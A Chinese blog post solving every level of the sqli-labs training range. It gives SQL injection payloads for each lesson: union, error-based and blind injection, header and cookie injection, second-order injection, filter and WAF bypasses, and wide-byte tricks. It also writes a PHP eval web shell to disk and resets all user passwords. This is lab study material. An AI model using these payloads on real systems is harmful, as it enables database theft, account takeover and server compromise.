sqli-labs靶场全通关

Basic challeges

基础 sql 注入,没有任何的过滤,转义,WAF

less-1 -- (单引号)#

这里虽然是数值型注入,但是,php 中为 id 参数套了个单引号,所以这里按字符型注入方式通过,

可以看到,这里输出的还是 id=1 的值,以此判断为数值型,发生了 int 隐式转换

payload:

0' union select null,user(),database() -- -

less-2 --(integer base)#

这里就是单纯的数值型注入手法了

payload:

0 union select null, user(), database() -- -

less-3 -- (括号包裹单引号)#

爆 users 表 username 和 password

payload:

0') union select null,group_concat(username),group_concat(password) from users -- -

less-4 --(括号包裹双引号)#

同 less3,只不过单引号改成了双引号注入

0") union select null,group_concat(username),group_concat(password) from users -- -

less-5 -- (报错注入)-1#

这里输入正确没有数据回显,只显示存不存在,但是输入错误的 sql 语句会 sql 格式错误,这里可以使用报错注入

  • extractvalue
  • updatexml

extractvalue 报错方式

payload:

1' and extractvalue(1,concat(0x7e,database())) -- -

less-6 -- (报错注入)-2#

和 less5 的区别是这里使用的是双引号闭合

payload:

1" and updatexml(1,concat(0x7e,database()),1) -- -

less-7 -- (os-shell)#

这里属于无回显数据的场景,注入的话,使用布尔盲注即可,也可使用 select into outfile 上传一个 shell

这里使用了 '))闭合了

0')) union select null,'<?php eval($_POST['cmd']);' into outfile 'D:\\software\\phpstudy_pro\\www\\sqli-labs'

//

less-8 -- (布尔盲注)#

less8 禁止了 MySQL 输出报错信息,而输入正确后也不会回显数据,这里可以使用布尔盲注、时间盲注等

手工布尔盲注,由于特别繁琐,这里只爆一个表名(平常无特殊需求,如绕 WAF 等,使用 sqlmap 直接测试就可以了)

先爆表名长度,限制边界

1' and length((select table_name from information_schema.tables where table_schema = database() limit 0,1))=6 -- -

表名长度为 6

爆表名

1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1)) = 101 -- -  | > e

1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),2,1)) = 109 -- -  | > m

1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),3,1)) = 97 -- -    | > a

1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),4,1)) = 105 -- -    | > i

1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),5,1)) = 108 -- -    | > l

1' and ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),6,1)) = 115 -- -    | > s

爆出表名:emails

less-9 -- (时间盲注)-2#

less9 的特点就是无论输出的正确与否,输出的信息都一个样的,或者说没有信息回显,那么这里就不能进行布尔盲注了,布尔盲注依赖于正确的有不一样的响应,这里可以时间盲注的方式注入,依靠的是响应时间的延迟

也是爆一个表名,先爆表名长度

表名长度为 8

1' and (length((select table_name from information_schema.tables where table_schema = database() limit 1,1))) = 8 and if(1=1, sleep(5), null) -- -

爆表名

1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),1,1)) = 114) and if(1=1,sleep(3),null) -- -  | > r

1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),2,1)) = 101) and if(1=1,sleep(3),null) -- -  | > e

1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),3,1)) = 102) and if(1=1,sleep(3),null) -- -  | > f

1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),4,1)) = 101) and if(1=1,sleep(3),null) -- -  | > e

1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),5,1)) = 114) and if(1=1,sleep(3),null) -- -  | > r

1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),6,1)) = 101) and if(1=1,sleep(3),null) -- -  | > e

1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),7,1)) = 114) and if(1=1,sleep(3),null) -- -  | > r

1' and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 1,1),8,1)) = 115) and if(1=1,sleep(3),null) -- -  | > s

爆表名:referers

less-10 -- (时间盲注)-2#

和 less9 一样,区别是使用的双引号闭合,还是使用时间盲注的方式,就不手工测试了,直接上工具

爆数据库所有表名

sqlmap -u http://172.28.96.1/Less-10?id=1 --risk=2 --level=4 --technique="T" --dbms=mysql --dbs

less-11 -- (ErrorBase)-1#

这里是一个登录界面,输入一个单引号发现报错了,那么这里可以按照万能密码的方式注入,也可以使用报错注入,联合查询等

payload:

uname=' or 1=1 -- -

进一步:

payload:

uname=' union select user(),database() -- -

less-12 -- (ErrorBase)-2#

和 less11 相比,区别是使用的 ")闭合的,其他和 less11 一样的注入方式

less-13 -- (万能密码或报错注入)#

这里和 less11 less12 的区别就是登录成功以后没有了数据回显,使用的还是 ')闭合,报错没有关闭,可以使用万能密码登录或报错注入或布尔盲注或时间盲注获取信息,这里主要使用报错注入

payload:

uname=') or 1=1-- -

payload:

') and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1))) -- -
') and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 1,1))) -- -
') and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 3,1))) -- -
') and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 4,1))) -- -

less-14 -- (万能密码或报错注入)#

和 less13 一样,区别是 less14 使用的是双引号闭合

less-15 -- (盲注)#

这里关闭了报错显示,且输入正确和输入错误的回显不一样,所以能使用布尔盲注或时间盲注

这里就不一一爆破了,简单验证

payload:

uname=' or 1=1 -- -

less-16 --(盲注)#

和 less15 一样,区别在于使用的 ")闭合的

payload:

") or 1=1 -- -

less-17 -- (update 报错注入或重置所有密码)#

这里 uname 可能做了一些特殊字符的过滤,但是 passwd 经检验,输入单引号出现报错,说明 passwd 参数未做严格过滤

在正常业务中,重置密码一定重置的是数据库中存在的 username,基于此,less17 的 uname 也是先要查询数据库中是否存在输入 uname,所以这里的 uname 一定写的是数据库中的其中一个 username,否则注入不成功

多种方式注入:

  • set password=''可控---重置所有密码(前提:数据库没有设置安全模式 --safe_updates,这种设置会禁止无 where 条件的 update 和 delete 或无 limit 的 update 和 delete)
  • 报错函数注入获取信息
  • 布尔或时间盲注

先来报错注入:

payload:

passwd=' and extractvalue(1,concat(0x7e,database()))-- -&submit=Submit&uname=admin2

重置所有密码为 123

payload:

passwd=123' -- -&submit=Submit&uname=admin2

....

less-18 -- (header 注入-uagent)#

less18 是 header 中的 user-agent 存在注入问题,检验 user-agent:

发现报错

header 头注入本质是 insert 注入,从开发者的角度思考,从 header 中获取信息,一般是为了记录登录信息,登录信息包括客户端登录时的 ip_adress、accept 及客户端类型 user-agent 等

测试:使用报错注入回显

user-Agent:' and extractvalue(1,concat(0x7e,database())),'1','1') -- -

less-19 -- (header 注入-referer)#

这里是 header 头的 referer 参数存在注入

使用报错注入

payload:

Referer:' and extractvalue(1, concat(0x7e,database())),'1','1') -- -

这里是 header 中的 cookie 存在注入,这里稍稍有些许不同,由于 cookie 是登录凭证,是登录成功以后才会生成的,所以这里需要改的包是登录成功跳转以后的请求包,而不是登录请求包

cookie 中存的是登录成功用户的信息,所以这里不是 insert 注入,而是 select

payload:

Cookie:' and updatexml(1,concat(0x7e,database),1) -- -

Advanced Injections

这里开始加入一些关键字过滤,注释符过滤,空白符过滤,二次注入,弱 WAF,addslashes()或 mysql_real_escape_string 转义等防护

主要学习某些东西被过滤的情况下,是否有替代方案,也就是配合过滤后,sql 仍然可以执行并输出想要的结果

这里和 less20 相比多了一步:将 cookie 中 uname 的值先作了 base64 加密,再传入 php 作 base64 解密处理

请求包特征:

测试:

payload:

') and extractvalue(1,concat(0x7e,database())) -- -

将 payloadbase64 加密,传入 cookie: uname=

这里和 less21 的区别是 less22 使用的双引号闭合,所以将 less21 payload 单引号换成双引号,再 base64 编码,代入 cookie: uname=中即可

less-23 -- (注释过滤--合法字符截断)#

这里查看了源码,源码中使用了 preg_replace()函数过滤 id 参数中出现的 #--字符,源码如下:

意图是不让进行注释截断操作,而没有过滤其他,比如特殊字符,这里可以使用合法字符截断,如下 payload:

这样可以闭合多出的单引号,而不必考虑注释截断

' union select null,user(),database() from information_schema.tables where table_schema=database() and '1'='1

less-24 -- (二次注入)#

这里是一个简单的二次注入的场景,主要有注册、登录用户和重置密码的功能,与这种类似的场景中,如果注册点作了特殊字符的转义,但是重置密码时对作为条件的用户名未作过滤输出,可能会造成二次注入风险

在用户注册时是一个插入操作,比如:注册一个 admin'#的用户

insert into users(username,password) values('admin\'#','123');

服务器对此的特殊字符如单引号作了转义处理,存入了数据库中,数据库中存储的对应的 username 值是 admin'#,这就形成了隐患;

恰好这时存在一个密码重置的功能,对于密码重置这种一般需要认证的功能,会事先进行登录,使用注册的 admin'# 登录,重置的 sql 是一个 update 操作:这里的 username 值读取的是 cookie 中的用户信息

update users set password='hacker' where username='admin'#' and password='123'

可以看到,在未经过滤输出的 admin'#进行了一次拼接,导致重置密码的条件变成了 username='admin',原始密码其实无效了

测试:

注册一个 admin'# 账户:

从源码中可以看到:参数使用的是 php 中的 mysql_escape_string() 函数作的转义

但是转义之后,数据库中存储的是这样的:

使用 admin'# 登录,进行重置密码操作

可以看到,未作输出过滤,导致了 admin 用户密码被修改成了 'hacker'

less-25 -- (and or 过滤--双写绕过)#

这里只过滤了 and 、or 字符,但是,mysql 中,&& ||``& |等具有相同作用的也可以作为替换or 的,但是这里过滤也把 information_schema 中的 or 给过滤了,对注入带来一定的影响,查看过滤源码:

这里使用的 preg_replace()过滤关键字,但是没有作循环验证,可以双写绕过

测试:

payload:

0' %26%26 extractvalue(1,concat(0x7e,database())) -- -   # &&在get参数中需要url编码

0' union select null,table_name,group_concat(column_name) from infoorrmation_schema.columns where table_schema=database() group by table_name limit 1,1 -- -

less-25a -- (and or 过滤 -- 双写绕过)#

这里和 less25 的区别是未添加任何的闭合,且关闭了 mysql 报错

测试:

payload:

0 oorr 1=1

0 union select null,table_schema,group_concat(table_name) from infoorrmation_schema.tables where table_schema=database() group by table_schema

less-26 -- (过滤 -- ()代替空格)#

less26 的过滤防护:

过滤了

  • 关键字 and or
  • 注释 /* -- #
  • 所有的空白字符,包括空格、制表符(tab %09)、换行符(\n,即 %0a \s
  • 斜杠 / \

这里使用括号配合报错注入绕过,也就是不使用任何空格

测试:

payload:

0')%26%26extractvalue(null,concat(0x7e,(select(group_concat(username,'~',passwoorrd))from(users)),0x7e))%7c%7c('1

less-26a -- (过滤 -- ()代替空格)#

和 less26 的区别是 less26a 关闭了报错,且使用 ('')闭合

%0a %09 会被过滤掉,在不能使用报错注入的情况下,可以使用()代替,或布尔盲注,时间盲注

测试:

()绕过

payload:

这里其实没有注入成功,使用()替代空格后,最后的 ')没想到办法闭合,之所以写出来,因为如果参数为数值类型不考虑闭合,可绕过

0')union(select(null),(table_schema),group_concat(table_name)from(infoorrmation_schema.tables)where(table_schema=database()))    ')

布尔盲注

0')||length(database())=8%26%26('1

less-27 -- (过滤 -- 空格替换-大小写转换绕过)#

这里过滤规则如下:

过滤了:

  • 所有注释符
  • 空格
  • 关键字 select、union 以及全大写形式,开头大写形式

绕过思路:

  • 这里只过滤的 空格,所以可以使用制表符 %0a或其他空白符绕过
  • 随机大小写转换形式,比如 SeLect UnIOn,这是匹配不到的,但是 sql 执行时不区分大小写

测试:

payload:

0'%0auNiOn%0aSeLecT%0anull,table_schema,group_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database()%0aand%0a'1'='1

less-27a -- (过滤 -- 同 less27)#

与 less27 的区别是,less27a 关闭了报错,并且使用的双引号闭合

测试:

payload:

0"%0auNiOn%0aSeLecT%0anull,table_schema,group_concat(table_name)%0afrom%0ainformation_schema.tables%0awhere%0atable_schema=database()%0aand%0a'1'='1

less-28 -- (过滤 -- 空格替换-盲注)#

过滤规则如下:

  • 三个注释符
  • 空格
  • 过滤个体 union\s select,\i 表示不区分大小写,也就是针对的联合查询

这里已经关闭了报错

绕过思路:

  1. %0a依旧可以替代
  2. 不使用联合查询,使用布尔盲注,时间盲注等
  3. 使用联合查询,用括号替代,union(select......)

security

测试

盲注

payload

2')%0aand%0alength(database())=8%0a%26%26('1

less-28a -- (过滤 -- ()代替空格)#

这个就宽松很多了

测试:

括号代替空格

payload:

0')union(select null,table_schema,group_concat(table_name) from information_schema.tables where table_schema=database())-- -

less-29 -- (弱 WAF -- HTTP 参数污染)#

这里是一个弱 WAF,具体分析如下:

通过$_SERVER['QUERY_STRING],获取到参数数组后,会进入函数 java_implimentation()中通过分隔 & 获取 id 参数的值,但是拿到 id 值后就 break 停止获取了,此时拿到的是数组中最开始出现的 id 值;接着由于 php 中超级全局数组的覆盖行为(php 程序:同时存在多个相同 key 的参数时,只获取最后一个),$_GET['id'] 会获取到最后一次出现的 id 值(最后这个 id 值不经过校验,带入了 sql 语句中执行)

接着是一个白名单的判断,判断逻辑:参数值是否是数字,而进入判断的值是最开始出现的 id 值:

绕过:HTTP 参数污染,测试时写两个 id 参数,第一个 id 参数为数字,第二个为注入,简单的说就是:第一个 id 值过白名单,第二个用来注入

测试:

payload:

id=1&id=' union select 1,version(),database() --+

less-30 -- (弱 WAF -- HTTP 参数污染)#

和 less29 没多大区别,相比多了个 "闭合

测试:

payload:

id=1&id= "union select null,@@version,database() -- -

less-31 -- (弱 WAF -- HTTP 参数污染)#

这里和 less29 一样,不同是闭合使用的是 ")

测试:

less-32 -- (转义 -- 宽字节注入)#

这里从源码中看出,mysql 编码环境使用的是 GBK 编码,GBK 属于宽字节,这里的防护操作是转义(将识别到的特殊字符前面添加反斜杠):

测试:

payload:

%df'union select null,@@version,group_concat(schema_name) from information_schema.schemata  -- -

less-33 -- (转义 -- 宽字节注入)#

和 less32 一样,不同点是这次使用的是 php 内置的 addslashes,但一样

测试:

less-34 -- (转义 -- 宽字节注入)#

和 less32 一样,只不过这次的场景是登录,真实场景中就可能使用万能密码登录了

测试:

payload:

%df' or 1=1 -- -   万能密码
=%df' union select @@version,group_concat(table_name) from information_schema.tables where table_schema=database() -- -    获取数据库信息

less-35 -- (转义 -- 不影响数值型注入)#

和 less32 一样,只不过这里的注入点类型是数值型,不需要闭合,也就不会命中转义

测试:

payload:

0 union select null,table_name,group_concat(column_name) from information_schema.columns where table_schema=database() group by table_name limit 2,1 -- -

less-36 -- (转义 -- 宽字节注入)#

使用的 mysql_real_escape_string() 函数转义的,和 less32 一样的注入方式

less-37 -- (转义 -- 宽字节注入)#

和 less36 一样,只不过场景是登录

Stacked Injections

这里加入了 order by 注入的场景,order by 注入在其他语言如 java 中,遇见的频率会高很多,特别是使用了 mybatis 的时候,是一个关注点。

允许堆叠查询,挺多逻辑上是重复的,不同点基本上是闭合符号的不同吧,还有从黑盒的角度,在不同的场景下确实需要判断注入点使用的闭合符号是什么,这是一个入手点,如果使用 sqlmap 测试的话,也是一个优化点(--prefix=xxx)

less-38~41#

查询使用了 mysqli_multi_query(),也就是允许堆叠查询了,但是内容上有些重复了,略

less-42 (任意密码登录)#

less42 中 password 字段未做转义,存在注入

测试:

less-43#

和 less42 一样,只不过使用的 ')闭合,

less-44#

和 less42 一样,注入点在 login_password,注入方式也一样,略

less-45#

和 less43 一样注入,如果没看错的话,重复了

less-46 (order by 注入)#

这里参数可以传入 order by 中去排序,若该参数用户输入未经过严格过滤,会导致 order by 注入

order by 可以基于表达式或函数的计算结果进行排序

order by 注入的方式可以是报错注入、盲注、异或注入

验证:

payload: ?sort=IF(1=1,username,id)

测试:

注入

payload:报错注入

?sort=id and extractvalue(1,concat(0x7e,(select concat(username,'-',password) from users limit 2,1)))

payload:布尔盲注

?sort=if(ascii(substr((select table_name from information_schema.tables where table_schema = database() limit 0,1),1,1)) = 100,id,username)

根据排序结果的不同判断

payload:异或注入

id ^((select version()) regexp '^5.7')

这段意思是正则匹配以 5.7 版本开头的数据库版本,真返回 1,假返回 0,然后异或,拆开就是:

select 5.7.xxx regexp '^5.7' -> 为真,返回1  -> id^1(按照异或的结果排序)
为假时,数字异或0不变

less-47 (order by 注入)#

和 less46 的区别是:order by 后的参数使用 '包裹起来了

测试:

payload:

id' and extractvalue(1,concat(0x7e,database()))-- -

less-48 (order by 注入)#

关闭了报错,可以使用盲注

测试

payload:时间盲注

id AND (SELECT 3270 FROM (SELECT(SLEEP(5)))KzSr)-- UZwK

less-49 (order by 注入)#

和上面的一样,不同处:使用 '闭合

测试

payload:时间盲注

id' AND (SELECT 3270 FROM (SELECT(SLEEP(5)))KzSr)-- UZwK

less-50 (order by 注入)#

和 less-46 的区别是,less50 允许堆叠查询,其他相同,略

less-51 (order by 注入)#

和 less-47 的区别是,less51 允许堆叠查询,其他相同,略

less52 和 less53 分别和 less48,less49 相同,区别就是堆叠查询,略

Challeges

这里可以从黑盒的角度去练习判断符号闭合

less-54#

检测注入点:

payload:

id=' or 1=2 -- -
id=' or 1=1 -- -

检测到后,先爆数据库名

payload:

' union select null,@@version,group_concat(schema_name) from information_schema.schemata -- -

获取表名和字段

payload:

' union select null,table_name,group_concat(column_name) from  information_schema.columns where table_schema='challenges' group by table_name -- -

获取 secret_FRML(超过 10 次随机变化)的 key

' union select null,null,secret_FRML from 2go3jx06u6 -- -

less-55#

检测注入点

这样可能有两种情况

  • 一种是 where id=$id
  • 一种是 where id=($id)

假设是第二种情况

payload:0 or 1=1 -- -不会输出

确定是第二种情况数字型注入并用括号闭合

payload:

爆表名和字段名

0) union select null,table_name,group_concat(column_name) from  information_schema.columns where table_schema='challenges' group by table_name -- -

爆 key

0) union select null,null,secret_IH2C from pflmatpkj6 -- -

less-56#

检测注入点

这样有回显,说明这里是 ')包括的字符型注入

爆表名和字段名

0') union select null,table_name,group_concat(column_name) from  information_schema.columns where table_schema='challenges' group by table_name -- -

爆 key

0') union select null,null,secret_VVCR from dc6or473x6 -- -

less-57#

检测注入点

说明使用的是 "闭合的字符型注入

.....

less-58#

检测注入点

'为闭合的字符型注入

这里有点非常规,黑盒测试的时候,联合查询的值为空,查看源码后,发现数据源是非数据库值

联合查询不了,发现这里未关闭报错,使用报错注入爆表名和字段名

payload:

0' and extractvalue(1,concat(0x7e,(select group_concat(table_name,'-',column_name) from  information_schema.columns where table_schema='challenges' group by table_name limit 0,1))) -- -
0' and extractvalue(1,concat(0x7e,(select group_concat(column_name) from  information_schema.columns where table_schema='challenges' group by table_name limit 0,1))) -- -

爆 key

0' and extractvalue(1,concat(0x7e,(select secret_3SIX from 6v6botpoy5))) -- -

less-59#

检测注入

输入 " or 1=1 -- -,出现如下报错,推断可能为数字型注入

输入 0 or 1=1,如下:

确定数字型注入

......

报错注入爆 key

0 and extractvalue(1,concat(0x7e,(select secret_82W4 from acrdz81gwb)))

less-60#

检测注入

输入 0" or 1=1 -- -时,报错,推测可能有 )包裹或多个 )包裹

输入 0") or 1=1 -- -,如下:

确定为 ")包裹的字符型注入

.....

爆 key

 0") and extractvalue(1,concat(0x7e,(select secret_WU2J from wdekymndi9))) -- -

less-61#

检测注入点:

确定使用的 '))闭合的字符型注入

爆 key

0')) and extractvalue(1,concat(0x7e,(select secret_7AEF from hj1nodjvz8))) -- -

less-62#

检测注入:

盲注

0') or ascii(substr((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),1,1)) == 105 -- -

......

less-63#

检测注入

使用的'闭合的字符型注入

这里同样,是盲注

0' or ascii(substr((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),1,1)) == 105 -- -

...

less-64#

检测注入

盲注:

0)) or ascii(substr((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),1,1)) == 105 -- -

.......

less-65#

检测注入

盲注:

0") or ascii(substr((select table_name from information_schema.tables where table_schema='challenges' limit 0,1),1,1)) == 105 -- -

........

结束!!!!!!!!!!!!!!!!!!!!!!

作者:liigceen

出处:https://www.cnblogs.com/liigceen/p/18555978

版权:本作品采用「署名-非商业性使用-相同方式共享 4.0 国际」许可协议进行许可。

posted @   LiigCeen  阅读(287)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· 阿里最新开源QwQ-32B,效果媲美deepseek-r1满血版,部署成本又又又降低了!
· 开源Multi-agent AI智能体框架aevatar.ai,欢迎大家贡献代码
· Manus重磅发布:全球首款通用AI代理技术深度解析与实战指南
· 被坑几百块钱后,我竟然真的恢复了删除的微信聊天记录!
· AI技术革命,工作效率10个最佳AI工具
more_horiz
keyboard_arrow_up light_mode palette
选择主题
menu
点击右上角即可分享
微信分享提示